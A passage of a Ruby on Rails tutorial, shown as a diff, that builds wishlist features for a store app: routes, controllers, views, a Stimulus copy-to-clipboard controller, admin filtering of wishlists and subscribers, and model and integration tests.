+prefixing the ID at the beginning.
+
+Now that we understand how this works, let's replace our `to_param` method with
+a call to the class method shortcut.
+
+```ruby#6
+class Wishlist < ApplicationRecord
+  belongs_to :user
+  has_many :wishlist_products, dependent: :destroy
+  has_many :products, through: :wishlist_products
+
+  to_param :name
+end
+```
+
+The
+[`to_param`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Integration/ClassMethods.html#method-i-to_param)
+class method defines an instance method with the same name. The argument is the
+method name to be called for generating the param. We're telling it to use the
+`name` attribute to generate the param.
+
+One additional thing `to_param` does is truncate values longer than 20
+characters word by word.
+
+Let's reload our code in the Rails console and test out a long `Wishlist` name.
+
+```irb
+store(dev)> reload!
+store(dev)> Wishlist.last.update(name: "A really, really long wishlist name!")
+store(dev)> Wishlist.last.to_param
+=> "1-a-really-really-long"
+```
+
+You can see that the name was truncated to the closest word to 20 characters.
+
+Alright, close the Rails console and let's start implementing wishlists in the UI.
+
+## Adding Products To Wishlists
+
+The first place a user will probably use wishlists is on the `Product` show page.
+They'll likely be browsing products and want to save one for later. Let's begin
+by building that first.
+
+### Add To Wishlist Form
+
+Start in `config/routes.rb` by adding the route for this form to submit to:
+
+```ruby#2
+  resources :products do
+    resource :wishlist, only: [ :create ], module: :products
+    resources :subscribers, only: [ :create ]
+  end
+```
+
+We're using a singular resource for this route since we won't necessarily know
+the Wishlist ID ahead of time. We're also using `module: :products` to scope
+this controller to the `Products` namespace.
+
+In `app/views/products/show.html.erb`, add the following to render a new
+wishlist partial:
+
+```erb#13
+<p><%= link_to "Back", products_path %></p>
+
+<section class="product">
+  <%= image_tag @product.featured_image if @product.featured_image.attached? %>
+
+  <section class="product-info">
+    <% cache @product do %>
+      <h1><%= @product.name %></h1>
+      <%= @product.description %>
+    <% end %>
+
+    <%= render "inventory", product: @product %>
+    <%= render "wishlist", product: @product %>
+  </section>
+</section>
+```
+
+Then create `app/views/products/_wishlist.html.erb` with the following:
+
+```erb
+<% if authenticated? %>
+  <%= form_with url: product_wishlist_path(product) do |form| %>
+    <div>
+      <%= form.collection_select :wishlist_id, Current.user.wishlists, :id, :name %>
+    </div>
+
+    <div>
+      <%= form.submit "Add to wishlist" %>
+    </div>
+  <% end %>
+<% else %>
+  <%= link_to "Add to wishlist", sign_up_path %>
+<% end %>
+```
+
+If a user is not logged in, they'll see a link to sign up. Logged in users will
+see a form to select a wishlist and add the product to it.
+
+Next, create the controller to handle this form in
+`app/controllers/products/wishlists_controller.rb` with the following:
+
+```ruby
+class Products::WishlistsController < ApplicationController
+  before_action :set_product
+  before_action :set_wishlist
+
+  def create
+    @wishlist.wishlist_products.create(product: @product)
+    redirect_to @wishlist, notice: "#{@product.name} added to wishlist."
+  end
+
+  private
+    def set_product
+      @product = Product.find(params[:product_id])
+    end
+
+    def set_wishlist
+      @wishlist = Current.user.wishlists.find(params[:wishlist_id])
+    end
+end
+```
+
+Since we're in a nested resource route, we find the `Product` using the
+`:product_id` param.
+
+The `create` action is also simpler than normal. If a product is already on the
+wishlist, the `wishlist_product` record will fail to create but we don't need to
+notify the user of this error so we can redirect to the wishlist in either case.
+
+Now, log in as the user we created a wishlist for earlier and try adding a product to the
+wishlist.
+
+### Default Wishlist
+
+This works fine since we created a wishlist in the Rails console, but what
+happens when the user doesn't have any wishlists?
+
+Run the following to delete all wishlists in the database:
+
+```bash
+$ bin/rails runner "Wishlist.destroy_all"
+```
+
+Try visiting a product and adding it to a wishlist now.
+
+The first problem is the select box will be empty. The form will not submit a
+`wishlist_id` param to the server and that will cause Active Record to raise an
+error.
+
+```bash
+ActiveRecord::RecordNotFound (Couldn't find Wishlist without an ID):
+
+app/controllers/products/wishlists_controller.rb:16:in 'Products::WishlistsController#set_wishlist'
+```
+
+In this case, we should automatically create a wishlist if the user doesn't have
+any. This has the added bonus of slowly introducing the user to wishlists.
+
+Update `set_wishlist` in the controller to find or create a wishlist:
+
+```ruby#16-20
+class Products::WishlistsController < ApplicationController
+  before_action :set_product
+  before_action :set_wishlist
+
+  def create
+    @wishlist.wishlist_products.create(product: @product)
+    redirect_to @wishlist, notice: "#{@product.name} added to wishlist."
+  end
+
+  private
+    def set_product
+      @product = Product.find(params[:product_id])
+    end
+
+    def set_wishlist
+      if (id = params[:wishlist_id])
+        @wishlist = Current.user.wishlists.find(id)
+      else
+        @wishlist = Current.user.wishlists.create(name: "My Wishlist")
+      end
+    end
+end
+```
+
+To improve our form, let's hide the select box if the user doesn't have any
+wishlists. Update `app/views/products/_wishlist.html.erb` with the following:
+
+```erb#3,7
+<% if authenticated? %>
+  <%= form_with url: product_wishlist_path(product) do |form| %>
+    <% if Current.user.wishlists.any? %>
+      <div>
+        <%= form.collection_select :wishlist_id, Current.user.wishlists, :id, :name %>
+      </div>
+    <% end %>
+
+    <div>
+      <%= form.submit "Add to wishlist" %>
+    </div>
+  <% end %>
+<% else %>
+  <%= link_to "Add to wishlist", sign_up_path %>
+<% end %>
+```
+
+## Managing Wishlists
+
+Next, we need to be able to view and manage our wishlists.
+
+### Wishlists Controller
+
+Start by adding a route for wishlists at the top level:
+
+```ruby#9
+Rails.application.routes.draw do
+  # ...
+  resources :products do
+    resource :wishlist, only: [ :create ], module: :products
+    resources :subscribers, only: [ :create ]
+  end
+  resource :unsubscribe, only: [ :show ]
+
+  resources :wishlists
+```
+
+Then we can add the controller at `app/controllers/wishlists_controller.rb` with
+the following:
+
+```ruby
+class WishlistsController < ApplicationController
+  allow_unauthenticated_access only: %i[ show ]
+  before_action :set_wishlist, only: %i[ edit update destroy ]
+
+  def index
+    @wishlists = Current.user.wishlists
+  end
+
+  def show
+    @wishlist = Wishlist.find(params[:id])
+  end
+
+  def new
+    @wishlist = Wishlist.new
+  end
+
+  def create
+    @wishlist = Current.user.wishlists.new(wishlist_params)
+    if @wishlist.save
+      redirect_to @wishlist, notice: "Your wishlist was created successfully."
+    else
+      render :new, status: :unprocessable_entity
+    end
+  end
+
+  def edit
+  end
+
+  def update
+    if @wishlist.update(wishlist_params)
+      redirect_to @wishlist, status: :see_other, notice: "Your wishlist has been updated successfully."
+    else
+      render :edit, status: :unprocessable_entity
+    end
+  end
+
+  def destroy
+    @wishlist.destroy
+    redirect_to wishlists_path, status: :see_other
+  end
+
+  private
+
+  def set_wishlist
+    @wishlist = Current.user.wishlists.find(params[:id])
+  end
+
+  def wishlist_params
+    params.expect(wishlist: [ :name ])
+  end
+end
+```
+
+This is a very standard controller with a couple important changes:
+
+- Actions are scoped to `Current.user.wishlists` so only the owner can create,
+  update, and delete their own wishlists
+- `show` is publicly accessible so wishlists can be shared and viewed by anyone
+
+### Wishlist Views
+
+Create the index view at `app/views/wishlists/index.html.erb`:
+
+```erb
+<h1>Your Wishlists</h1>
+<%= link_to "Create a wishlist", new_wishlist_path %>
+<%= render @wishlists %>
+```
+
+This renders the `_wishlist` partial so let's create that at
+`app/views/wishlists/_wishlist.html.erb`:
+
+```erb
+<div>
+  <%= link_to wishlist.name, wishlist %>
+</div>
+```
+
+Next let's create the `new` view at `app/views/wishlists/new.html.erb`:
+
+```erb
+<h1>New Wishlist</h1>
+<%= render "form", locals: { wishlist: @wishlist } %>
+```
+
+And the `edit` view at `app/views/wishlists/edit.html.erb`:
+
+```erb
+<h1>Edit Wishlist</h1>
+<%= render "form", locals: { wishlist: @wishlist } %>
+```
+
+Along with the `_form` partial at `app/views/wishlists/_form.html.erb`:
+
+```erb
+<%= form_with model: @wishlist do |form| %>
+  <% if form.object.errors.any? %>
+    <div><%= form.object.errors.full_messages.to_sentence %></div>
+  <% end %>
+
+  <div>
+    <%= form.label :name %>
+    <%= form.text_field :name %>
+  </div>
+
+  <div>
+    <%= form.submit %>
+    <%= link_to "Cancel", form.object.persisted? ? form.object : wishlists_path %>
+  </div>
+<% end %>
+```
+
+Create `show` next at `app/views/wishlists/show.html.erb`:
+
+```erb
+<h1><%= @wishlist.name %></h1>
+<% if authenticated? && @wishlist.user == Current.user %>
+  <%= link_to "Edit", edit_wishlist_path(@wishlist) %>
+  <%= button_to "Delete", @wishlist, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+<% end %>
+
+<h3><%= pluralize @wishlist.products_count, "Product" %></h3>
+<% @wishlist.wishlist_products.includes(:product).each do %>
+  <div>
+    <%= link_to it.product.name, it.product %>
+    <small>Added <%= l it.created_at, format: :long %></small>
+  </div>
+<% end %>
+```
+
+Lastly, let's add a link to the navbar in
+`app/views/layouts/application.html.erb`:
+
+```erb#4
+    <nav class="navbar">
+      <%= link_to "Home", root_path %>
+      <% if authenticated? %>
+        <%= link_to "Wishlists", wishlists_path %>
+        <%= link_to "Settings", settings_root_path %>
+        <%= button_to "Log out", session_path, method: :delete %>
+      <% else %>
+        <%= link_to "Sign Up", sign_up_path %>
+        <%= link_to "Login", new_session_path %>
+      <% end %>
+    </nav>
+```
+
+Refresh the page and click the "Wishlists" link in the navbar to view and manage your
+wishlists.
+
+### Copy To Clipboard
+
+To make sharing wishlists easier, we can add a “Copy to Clipboard� button that uses a small amount of JavaScript.
+
+Rails includes Hotwire by default, so we can use its [Stimulus framework](https://stimulus.hotwired.dev/)
+ to add some lightweight JavaScript to our UI.
+
+First, let's add a button to `app/views/wishlists/show.html.erb`:
+
+```erb#7
+<h1><%= @wishlist.name %></h1>
+<% if authenticated? && @wishlist.user == Current.user %>
+  <%= link_to "Edit", edit_wishlist_path(@wishlist) %>
+  <%= button_to "Delete", @wishlist, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+<% end %>
+
+<%= tag.button "Copy to clipboard", data: { controller: :clipboard, action: "clipboard#copy", clipboard_text_value: wishlist_url(@wishlist) } %>
+```
+
+This button has several data attributes that wire up to the JavaScript. We're
+using the Rails `tag` helper to make this shorter which outputs the following
+HTML:
+
+```html
+<button data-controller="clipboard" data-action="clipboard#copy" data-clipboard-text-value="/wishlists/1-example-wishlist">
+  Copy to clipboard
+</button>
+```
+
+What do these data attributes do? Let's break down each one:
+
+- `data-controller` tells Stimulus to connect to `clipboard_controller.js`
+- `data-action` tells Stimulus to call the
+  `clipboard` controller's `copy()` method when the button is clicked
+- `data-clipboard-text-value` tells the Stimulus controller it has some data
+  called `text` that it can use
+
+Create the Stimulus controller at
+`app/javascript/controllers/clipboard_controller.js`:
+
+```javascript
+import { Controller } from "@hotwired/stimulus"
+
+export default class extends Controller {
+  static values = { text: String }
+
+  copy() {
+    navigator.clipboard.writeText(this.textValue)
+  }
+}
+```
+
+This Stimulus controller is short. It does two things:
+
+- Registers `text` as a value so we can access it. This is the URL we want to
+  copy to the clipboard.
+- The `copy` function writes the `text` from the HTML to the clipboard when
+  called.
+
+If you're familiar with JavaScript, you'll notice we didn't have to add any event listeners or setup & teardown this
+controller. That's handled automatically by Stimulus reading the data attributes
+in our HTML.
+
+To learn more about Stimulus, check out the
+[Stimulus](https://stimulus.hotwired.dev/) website.
+
+### Removing Products
+
+A user may purchase or lose interest in a product and want to remove it from
+their wishlist. Let's add that feature next.
+
+First we'll update the wishlists route to contain a nested resource.
+
+```ruby#9-11
+Rails.application.routes.draw do
+  # ...
+  resources :products do
+    resource :wishlist, only: [ :create ], module: :products
+    resources :subscribers, only: [ :create ]
+  end
+  resource :unsubscribe, only: [ :show ]
+
+  resources :wishlists do
+    resources :wishlist_products, only: [ :update, :destroy ], module: :wishlists
+  end
+```
+
+Then we can update `app/views/wishlists/show.html.erb` to include a "Remove"
+button:
+
+```erb#13-15
+<h1><%= @wishlist.name %></h1>
+<% if authenticated? && @wishlist.user == Current.user %>
+  <%= link_to "Edit", edit_wishlist_path(@wishlist) %>
+  <%= button_to "Delete", @wishlist, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+<% end %>
+
+<h3><%= pluralize @wishlist.products_count, "Product" %></h3>
+<% @wishlist.wishlist_products.includes(:product).each do %>
+  <div>
+    <%= link_to it.product.name, it.product %>
+    <small>Added <%= l it.created_at, format: :long %></small>
+
+    <% if authenticated? && @wishlist.user == Current.user %>
+      <%= button_to "Remove", [ @wishlist, it ], method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+    <% end %>
+  </div>
+<% end %>
+```
+
+Create `app/controllers/wishlists/wishlist_products_controller.rb` and add the
+following:
+
+```ruby
+class Wishlists::WishlistProductsController < ApplicationController
+  before_action :set_wishlist
+  before_action :set_wishlist_product
+
+  def destroy
+    @wishlist_product.destroy
+    redirect_to @wishlist, notice: "#{@wishlist_product.product.name} removed from wishlist."
+  end
+
+  private
+
+  def set_wishlist
+    @wishlist = Current.user.wishlists.find_by(id: params[:wishlist_id])
+  end
+
+  def set_wishlist_product
+    @wishlist_product = @wishlist.wishlist_products.find(params[:id])
+  end
+end
+```
+
+You can now remove products from any wishlist. Try it out!
+
+### Moving Products To Another Wishlist
+
+With multiple wishlists, users may want to move a product from one list to
+another. For example, they might want to move items into a "Christmas" wishlist.
+
+In `app/views/wishlists/show.html.erb`, add the following:
+
+```erb#14-19
+<h1><%= @wishlist.name %></h1>
+<% if authenticated? && @wishlist.user == Current.user %>
+  <%= link_to "Edit", edit_wishlist_path(@wishlist) %>
+  <%= button_to "Delete", @wishlist, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+<% end %>
+
+<h3><%= pluralize @wishlist.products_count, "Product" %></h3>
+<% @wishlist.wishlist_products.includes(:product).each do %>
+  <div>
+    <%= link_to it.product.name, it.product %>
+    <small>Added <%= l it.created_at, format: :long %></small>
+
+    <% if authenticated? && @wishlist.user == Current.user %>
+      <% if (other_wishlists = Current.user.wishlists.excluding(@wishlist)) && other_wishlists.any? %>
+        <%= form_with url: [ @wishlist, it ], method: :patch do |form| %>
+          <%= form.collection_select :new_wishlist_id, other_wishlists, :id, :name %>
+          <%= form.submit "Move" %>
+        <% end %>
+      <% end %>
+
+      <%= button_to "Remove", [ @wishlist, it ], method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+    <% end %>
+  </div>
+<% end %>
+```
+
+This queries for other wishlists and, if present, renders a form to move a
+product to the selected wishlist. If no other wishlists exist, the form will not
+be displayed.
+
+To handle this in the controller, we'll add the `update` action to
+`app/controllers/wishlists/wishlist_products_controller.rb`:
+
+```ruby#5-12
+class Wishlists::WishlistProductsController < ApplicationController
+  before_action :set_wishlist
+  before_action :set_wishlist_product
+
+  def update
+    new_wishlist = Current.user.wishlists.find(params[:new_wishlist_id])
+    if @wishlist_product.update(wishlist: new_wishlist)
+      redirect_to @wishlist, status: :see_other, notice: "#{@wishlist_product.product.name} has been moved to #{new_wishlist.name}"
+    else
+      redirect_to @wishlist, status: :see_other, alert: "#{@wishlist_product.product.name} is already on #{new_wishlist.name}."
+    end
+  end
+
+  # ...
+```
+
+This action looks up the new wishlist from the logged in user's wishlists. It
+then tries to update the wishlist ID on `@wishlist_product`. This could fail if
+the product already exists on the other wishlist so we'll display an error in
+that case. If not, we can simply transfer the product to the new wishlist. Since
+we don't want the user to lose their place, we redirect back to the current
+wishlist they're viewing in either case.
+
+Test this out by creating a second wishlist and moving a product back and forth.
+
+## Adding Wishlists To Admin
+
+Viewing wishlists in the admin area will be helpful to get an idea of which
+products are popular.
+
+To start, let's add wishlists to the store namespace routes in
+`config/routes.rb`:
+
+```ruby#5
+  # Admins Only
+  namespace :store do
+    resources :products
+    resources :users
+    resources :wishlists
+
+    root to: redirect("/store/products")
+  end
+```
+
+Create `app/controllers/store/wishlists_controller.rb` with:
+
+```ruby
+class Store::WishlistsController < Store::BaseController
+  def index
+    @wishlists = Wishlist.includes(:user)
+  end
+
+  def show
+    @wishlist = Wishlist.find(params[:id])
+  end
+end
+```
+
+We only need the index and show actions here because as admins, we don't want to
+mess with user's wishlists.
+
+Now let's add the views for these actions.
+Create `app/views/store/wishlists/index.html.erb` with:
+
+```erb
+<h1>Wishlists</h1>
+<%= render @wishlists %>
+```
+
+Then create the wishlist partial in
+`app/views/store/wishlists/_wishlist.html.erb` with:
+
+```erb
+<div>
+  <%= link_to wishlist.name, store_wishlist_path(wishlist) %> by <%= link_to wishlist.user.full_name, store_user_path(wishlist.user) %>
+</div>
+```
+
+Then create the show view at `app/views/store/wishlists/show.html.erb` with:
+
+```erb
+<h1><%= @wishlist.name %></h1>
+<p>By <%= link_to @wishlist.user.full_name, store_user_path(@wishlist.user) %></p>
+
+<h3><%= pluralize @wishlist.products_count, "Product" %></h3>
+<% @wishlist.wishlist_products.includes(:product).each do %>
+  <div>
+    <%= link_to it.product.name, store_product_path(it.product) %>
+    <small>Added <%= l it.created_at, format: :long %></small>
+  </div>
+<% end %>
+```
+
+Lastly, add the link to the sidebar layout:
+
+```erb#14
+<%= content_for :content do %>
+  <section class="settings">
+    <nav>
+      <h4>Account Settings</h4>
+      <%= link_to "Profile", settings_profile_path %>
+      <%= link_to "Email", settings_email_path %>
+      <%= link_to "Password", settings_password_path %>
+      <%= link_to "Account", settings_user_path %>
+
+      <% if Current.user.admin? %>
+        <h4>Store Settings</h4>
+        <%= link_to "Products", store_products_path %>
+        <%= link_to "Users", store_users_path %>
+        <%= link_to "Wishlists", store_wishlists_path %>
+      <% end %>
+    </nav>
+
+    <div>
+      <%= yield %>
+    </div>
+  </section>
+<% end %>
+
+<%= render template: "layouts/application" %>
+```
+
+Now we can view wishlists in the admin area.
+
+### Filtering Wishlists
+
+To get a better look at data in the admin area, it's helpful to have filters. We
+can filter wishlists by user or by product.
+
+Update `app/views/store/wishlists/index.html.erb` by adding the following form:
+
+```erb#1,3-7
+<h1><%= pluralize @wishlists.count, "Wishlist" %></h1>
+
+<%= form_with url: store_wishlists_path, method: :get do |form| %>
+  <%= form.collection_select :user_id, User.all, :id, :full_name, selected: params[:user_id], include_blank: "All Users" %>
+  <%= form.collection_select :product_id, Product.all, :id, :name, selected: params[:product_id], include_blank: "All Products" %>
+  <%= form.submit "Filter" %>
+<% end %>
+
+<%= render @wishlists %>
+```
+
+We've updated the header to show the total number of wishlists, which makes it
+easier to see how many results match when a filter is applied. When you submit
+the form, Rails adds your selected filters to the URL as query params. The form
+then reads those values when loading the page to automatically re-select the
+same options in the dropdowns, so your choices stay visible after submitting.
+Since the form submits to the index action, so it can display either all
+wishlists or just the filtered results.
+
+To make this work, we need to apply these filters in our SQL query with
+Active Record. Update the controller to include these filters:
+
+```ruby#4-5
+class Store::WishlistsController < Store::BaseController
+  def index
+    @wishlists = Wishlist.includes(:user)
+    @wishlists = @wishlists.where(user_id: params[:user_id]) if params[:user_id].present?
+    @wishlists = @wishlists.includes(:wishlist_products).where(wishlist_products: { product_id: params[:product_id] }) if params[:product_id].present?
+  end
+
+  def show
+    @wishlist = Wishlist.find(params[:id])
+  end
+end
+```
+
+Active Record queries are _lazy evaluated_ which means SQL queries aren't executed
+until you ask for the results. This allows our controller to build up the query
+step-by-step and include filters if needed.
+
+Once you have more wishlists in the system, you can use the filters to view
+wishlists by a specific user, product, or a combination of both.
+
+### Refactoring Filters
+
+Our controller has gotten a bit messy by introducing these filters. Let's move
+our logic out of the controller by extracting a method on the `Wishlist` model.
+
+```ruby#3
+class Store::WishlistsController < Store::BaseController
+  def index
+    @wishlists = Wishlist.includes(:user).filter_by(params)
+  end
+
+  def show
+    @wishlist = Wishlist.find(params[:id])
+  end
+end
+```
+
+We'll implement `filter_by` in the `Wishlist` model by defining a class method.
+
+```ruby#8-13
+class Wishlist < ApplicationRecord
+  belongs_to :user
+  has_many :wishlist_products, dependent: :destroy
+  has_many :products, through: :wishlist_products
+
+  to_param :name
+
+  def self.filter_by(params)
+    results = all
+    results = results.where(user_id: params[:user_id]) if params[:user_id].present?
+    results = results.includes(:wishlist_products).where(wishlist_products: {product_id: params[:product_id]}) if params[:product_id].present?
+    results
+  end
+end
+```
+
+`filter_by` is almost the same as what we had in the controller, but we start by
+calling
+[`all`](https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-all)
+which returns an `ActiveRecord::Relation` for all the records including any
+conditions we may have already applied. Then we apply the filters and return the
+results.
+
+Refactoring like this means the controller becomes cleaner, while the filtering logic now lives in the model where it belongs, alongside other database-related logic. This follows the **Fat Model, Skinny Controller** principle, a best practice in Rails.
+
+## Adding Subscribers To Admin
+
+While we're here, we should also add the ability to view and filter subscribers in the
+admin too. This is helpful to know how many people are waiting for a product to
+go back in stock.
+
+### Subscriber Views
+
+First, we'll add the subscribers route to the `store` namespace:
+
+```ruby#6
+  # Admins Only
+  namespace :store do
+    resources :products
+    resources :users
+    resources :wishlists
+    resources :subscribers
+
+    root to: redirect("/store/products")
+  end
+```
+
+Then, let's create the controller at
+`app/controllers/store/subscribers_controller.rb`:
+
+```ruby
+class Store::SubscribersController < Store::BaseController
+  before_action :set_subscriber, except: [ :index ]
+
+  def index
+    @subscribers = Subscriber.includes(:product).filter_by(params)
+  end
+
+  def show
+  end
+
+  def destroy
+    @subscriber.destroy
+    redirect_to store_subscribers_path, notice: "Subscriber has been removed.", status: :see_other
+  end
+
+  private
+    def set_subscriber
+      @subscriber = Subscriber.find(params[:id])
+    end
+end
+```
+
+We've only implemented `index`, `show`, and `destroy` actions here. Subscribers
+will only be created when a user enters their email address. If someone contacts
+support asking to unsubscribe them, we want to be able to remove them easily.
+
+Since this is the admin area, we will want to add filters to subscribers too.
+
+In `app/models/subscriber.rb`, let's add the `filter_by` class method:
+
+```ruby
+class Subscriber < ApplicationRecord
+  belongs_to :product
+  generates_token_for :unsubscribe
+
+  def self.filter_by(params)
+    results = all
+    results = results.where(product_id: params[:product_id]) if params[:product_id].present?
+    results
+  end
+end
+```
+
+Let's create the index view next at
+`app/views/store/subscribers/index.html.erb`:
+
+```erb
+<h1><%= pluralize @subscribers.count, "Subscriber" %></h1>
+
+<%= form_with url: store_subscribers_path, method: :get do |form| %>
+  <%= form.collection_select :product_id, Product.all, :id, :name, selected: params[:product_id], include_blank: "All Products" %>
+  <%= form.submit "Filter" %>
+<% end %>
+
+<%= render @subscribers %>
+```
+
+Then create `app/views/store/subscribers/_subscriber.html.erb` for displaying
+each subscriber:
+
+```erb
+<div>
+  <%= link_to subscriber.email, store_subscriber_path(subscriber) %> subscribed to <%= link_to subscriber.product.name, store_product_path(subscriber.product) %> on <%= l subscriber.created_at, format: :long %>
+</div>
+```
+
+Next, create `app/views/store/subscribers/show.html.erb` to view an individual
+subscriber:
+
+```erb
+<h1><%= @subscriber.email %></h1>
+<p>Subscribed to <%= link_to @subscriber.product.name, store_product_path(@subscriber.product) %> on <%= l @subscriber.created_at, format: :long %></p>
+
+<%= button_to "Remove", store_subscriber_path(@subscriber), method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+```
+
+Finally, add the link to the sidebar layout:
+
+```erb#14
+<%= content_for :content do %>
+  <section class="settings">
+    <nav>
+      <h4>Account Settings</h4>
+      <%= link_to "Profile", settings_profile_path %>
+      <%= link_to "Email", settings_email_path %>
+      <%= link_to "Password", settings_password_path %>
+      <%= link_to "Account", settings_user_path %>
+
+      <% if Current.user.admin? %>
+        <h4>Store Settings</h4>
+        <%= link_to "Products", store_products_path %>
+        <%= link_to "Users", store_users_path %>
+        <%= link_to "Subscribers", store_subscribers_path %>
+        <%= link_to "Wishlists", store_wishlists_path %>
+      <% end %>
+    </nav>
+
+    <div>
+      <%= yield %>
+    </div>
+  </section>
+<% end %>
+
+<%= render template: "layouts/application" %>
+```
+
+Now you can view, filter, and remove subscribers in the store's admin area. Try
+it out!
+
+## Adding Links To Products
+
+Now that we've added filters, we can add links to the Product show page for
+viewing wishlists and subscribers for a specific product.
+
+Open `app/views/store/products/show.html.erb` and add the links:
+
+```erb#18-21
+<p><%= link_to "Back", store_products_path %></p>
+
+<section class="product">
+  <%= image_tag @product.featured_image if @product.featured_image.attached? %>
+
+  <section class="product-info">
+    <% cache @product do %>
+      <h1><%= @product.name %></h1>
+      <%= @product.description %>
+    <% end %>
+
+    <%= link_to "View in Storefront", @product %>
+    <%= link_to "Edit", edit_store_product_path(@product) %>
+    <%= button_to "Delete", [ :store, @product ], method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+  </section>
+</section>
+
+<section>
+  <%= link_to pluralize(@product.wishlists_count, "wishlist"), store_wishlists_path(product_id: @product) %>
+  <%= link_to pluralize(@product.subscribers.count, "subscriber"), store_subscribers_path(product_id: @product) %>
+</section>
+```
+
+## Testing Wishlists
+
+Let's write some tests for the functionality we just built.
+
+### Adding Fixtures
+
+First, we need to update the fixtures in `test/fixtures/wishlist_products.yml`
+so they refer to the product fixtures we have defined:
+
+```yaml
+one:
+  product: tshirt
+  wishlist: one
+
+two:
+  product: tshirt
+  wishlist: two
+```
+
+Let's also add another `Product` fixture in `test/fixtures/products.yml` to test
+with:
+
+```yaml#5-7
+tshirt:
+  name: T-Shirt
+  inventory_count: 15
+
+shoes:
+  name: shoes
+  inventory_count: 0
+```
+
+### Testing `filter_by`
+
+The `Wishlist` model's `filter_by` method is important to ensure it's filtering
+records correctly.
+
+Open `test/models/wishlist_test.rb` and add this test to start:
+
+```ruby
+require "test_helper"
+
+class WishlistTest < ActiveSupport::TestCase
+  test "filter_by with no filters" do
+    assert_equal Wishlist.all, Wishlist.filter_by({})
+  end
+end
+```
+
+This test ensures that `filter_by` returns all records when no filters are
+applied.
+
+Then run the test:
+
+```bash
+$ bin/rails test test/models/wishlist_test.rb
+Running 1 tests in a single process (parallelization threshold is 50)
+Run options: --seed 64578
+
+# Running:
+
+.
+
+Finished in 0.290295s, 3.4448 runs/s, 3.4448 assertions/s.
+1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Great! Next, we need to test the `user_id` filter. Let's add another test:
+
+```ruby#8-12
+require "test_helper"
+
+class WishlistTest < ActiveSupport::TestCase
+  test "filter_by with no filters" do
+    assert_equal Wishlist.all, Wishlist.filter_by({})
+  end
+
+  test "filter_by with user_id" do
+    wishlists = Wishlist.filter_by(user_id: users(:one).id)
+    assert_includes wishlists, wishlists(:one)
+    assert_not_includes wishlists, wishlists(:two)
+  end
+end
+```
+
+This test runs the query and asserts the wishlist for the user is returned but
+not wishlists for another user.
+
+Let's run the test file again:
+
+```bash
+$ bin/rails test test/models/wishlist_test.rb
+Running 2 tests in a single process (parallelization threshold is 50)
+Run options: --seed 48224
+
+# Running:
+
+..
+
+Finished in 0.292714s, 6.8326 runs/s, 17.0815 assertions/s.
+2 runs, 5 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Perfect! Both tests are passing.
+
+Finally, let's add a test for wishlists with a specific product.
+
+For this test, we need to add a unique product to one of our wishlists so it can
+be filtered.
+
+Open `test/fixtures/wishlist_products.yml` and add the following:
+
+```yaml#9-11
+one:
+  product: tshirt
+  wishlist: one
+
+two:
+  product: tshirt
+  wishlist: two
+
+three:
+  product: shoes
+  wishlist: two
+```
+
+Then add the following test to `test/models/wishlist_test.rb`:
+
+```ruby
+require "test_helper"
+
+class WishlistTest < ActiveSupport::TestCase
+  test "filter_by with no filters" do
+    assert_equal Wishlist.all, Wishlist.filter_by({})
+  end
+
+  test "filter_by with user_id" do
+    wishlists = Wishlist.filter_by(user_id: users(:one).id)
+    assert_includes wishlists, wishlists(:one)
+    assert_not_includes wishlists, wishlists(:two)
+  end
+
+  test "filter_by with product_id" do
+    wishlists = Wishlist.filter_by(product_id: products(:shoes).id)
+    assert_includes wishlists, wishlists(:two)
+    assert_not_includes wishlists, wishlists(:one)
+  end
+end
+```
+
+This test filters by a specific product and ensures the correct wishlist is
+returned and wishlists without that product are not.
+
+Let's run this test file again to ensure they are all passing:
+
+```ruby
+bin/rails test test/models/wishlist_test.rb
+Running 3 tests in a single process (parallelization threshold is 50)
+Run options: --seed 27430
+
+# Running:
+
+...
+
+Finished in 0.320054s, 9.3734 runs/s, 28.1203 assertions/s.
+3 runs, 9 assertions, 0 failures, 0 errors, 0 skips
+```
+
+### Testing Wishlist CRUD
+
+Let's walk through writing some integration tests for wishlists.
+
+Create `test/integration/wishlists_test.rb` and add a test for creating a
+wishlist.
+
+```ruby
+require "test_helper"
+
+class WishlistsTest < ActionDispatch::IntegrationTest
+  test "create a wishlist" do
+    user = users(:one)
+    sign_in_as user
+    assert_difference "user.wishlists.count" do
+      post wishlists_path, params: { wishlist: { name: "Example" } }
+      assert_response :redirect
+    end
+  end
+end
+```
+
+This test logs in as a user and makes a POST request to create a wishlist. It
+checks the user's wishlists count before and after to ensure a new record was
+created. It also confirms the user is redirected instead of re-rendering the
+form with errors.
+
+Let's run this test and make sure it passes.
+
+```bash
+$ bin/rails test test/integration/wishlists_test.rb
+Running 1 tests in a single process (parallelization threshold is 50)
+Run options: --seed 40232
+
+# Running:
+
+.
+
+Finished in 0.603018s, 1.6583 runs/s, 4.9750 assertions/s.
+1 runs, 3 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Next, let's add a test for deleting a wishlist.
+
+```ruby
+test "delete a wishlist" do
+  user = users(:one)
+  sign_in_as user
+  assert_difference "user.wishlists.count", -1 do
+    delete wishlist_path(user.wishlists.first)
+    assert_redirected_to wishlists_path
+  end
+end
+```
+
+This test is similar to creating wishlists, but it asserts that there is one
+less wishlist after making the DELETE request.
+
+Next, we should test viewing wishlists, starting with a user viewing their own
+wishlist.
+
+```ruby
+test "view a wishlist" do
+  user = users(:one)
+  wishlist = user.wishlists.first
+  sign_in_as user
+  get wishlist_path(wishlist)
+  assert_response :success
+  assert_select "h1", text: wishlist.name
+end
+```
+
+A user should also be able to view other user's wishlists, so let's test that:
+
+```ruby
+test "view a wishlist as another user" do
+  wishlist = wishlists(:two)
+  sign_in_as users(:one)
+  get wishlist_path(wishlist)
+  assert_response :success
+  assert_select "h1", text: wishlist.name
+end
+```
+
+And guests should be able to view wishlists too:
+
+```ruby
+test "view a wishlist as a guest" do
+  wishlist = wishlists(:one)
+  get wishlist_path(wishlist)
+  assert_response :success
